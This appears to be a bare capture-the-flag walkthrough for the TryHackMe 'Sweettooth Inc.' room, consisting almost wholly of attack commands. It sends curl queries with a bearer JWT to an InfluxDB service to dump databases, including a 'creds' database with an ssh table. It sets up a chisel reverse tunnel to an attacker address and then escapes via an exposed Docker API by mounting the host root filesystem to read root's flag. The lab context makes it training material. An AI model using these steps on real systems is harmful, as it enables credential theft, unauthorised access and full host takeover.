Sweettooth Inc.
https://tryhackme.com/room/sweettoothinc
Last updated
https://tryhackme.com/room/sweettoothinc
Last updated
curl -G http://10.10.62.99:8086/query --header "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im81eVk2eXlhIiwiZXhwIjoxNjU4MzIxNTUyfQ.Sg5u_GBZSETHNCGncgRdsW2GQk7bGTPIXRuFOh2mV7A" --data-urlencode "q=SHOW DATABASES"#List the tables on the tanks database
curl -G http://10.10.166.174:8086/query --header "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im81eVk2eXlhIiwiZXhwIjoxNjU4MzIxNTUyfQ.Sg5u_GBZSETHNCGncgRdsW2GQk7bGTPIXRuFOh2mV7A" --data-urlencode "db=tanks" --data-urlencode "q=SHOW MEASUREMENTS"#Get data from the water_tank table
curl -G http://10.10.166.174:8086/query --header "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im81eVk2eXlhIiwiZXhwIjoxNjU4MzIxNTUyfQ.Sg5u_GBZSETHNCGncgRdsW2GQk7bGTPIXRuFOh2mV7A" --data-urlencode "db=tanks" --data-urlencode "q=SELECT * FROM water_tank"#List the tables on the mixer database
curl -G http://10.10.166.174:8086/query --header "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im81eVk2eXlhIiwiZXhwIjoxNjU4MzIxNTUyfQ.Sg5u_GBZSETHNCGncgRdsW2GQk7bGTPIXRuFOh2mV7A" --data-urlencode "db=mixer" --data-urlencode "q=SHOW MEASUREMENTS"#Get data from the mixer_stats table
curl -G http://10.10.166.174:8086/query --header "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im81eVk2eXlhIiwiZXhwIjoxNjU4MzIxNTUyfQ.Sg5u_GBZSETHNCGncgRdsW2GQk7bGTPIXRuFOh2mV7A" --data-urlencode "db=mixer" --data-urlencode "q=SELECT * FROM mixer_stats"#To get the max RPM we use this query
curl -G http://10.10.166.174:8086/query --header "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im81eVk2eXlhIiwiZXhwIjoxNjU4MzIxNTUyfQ.Sg5u_GBZSETHNCGncgRdsW2GQk7bGTPIXRuFOh2mV7A" --data-urlencode "db=mixer" --data-urlencode "q=SELECT max(motor_rpm) FROM mixer_stats"#List the tables on the creds database
curl -G http://10.10.166.174:8086/query --header "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im81eVk2eXlhIiwiZXhwIjoxNjU4MzIxNTUyfQ.Sg5u_GBZSETHNCGncgRdsW2GQk7bGTPIXRuFOh2mV7A" --data-urlencode "db=creds" --data-urlencode "q=SHOW MEASUREMENTS"#Get data from the ssh table
curl -G http://10.10.166.174:8086/query --header "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im81eVk2eXlhIiwiZXhwIjoxNjU4MzIxNTUyfQ.Sg5u_GBZSETHNCGncgRdsW2GQk7bGTPIXRuFOh2mV7A" --data-urlencode "db=creds" --data-urlencode "q=SELECT * from ssh"sudo chisel server --reverse --port 9001./chisel client 10.11.36.103:9001 R:8003:127.0.0.1:8080DOCKER_HOST=tcp://IP:8003 docker image lsDOCKER_HOST=tcp://IP:8003 docker run -it -v /:/mnt --rm -it influxdb:1.3.0 chroot /mnt shdocker container exec -it sweettoothinc cat /root/root.txt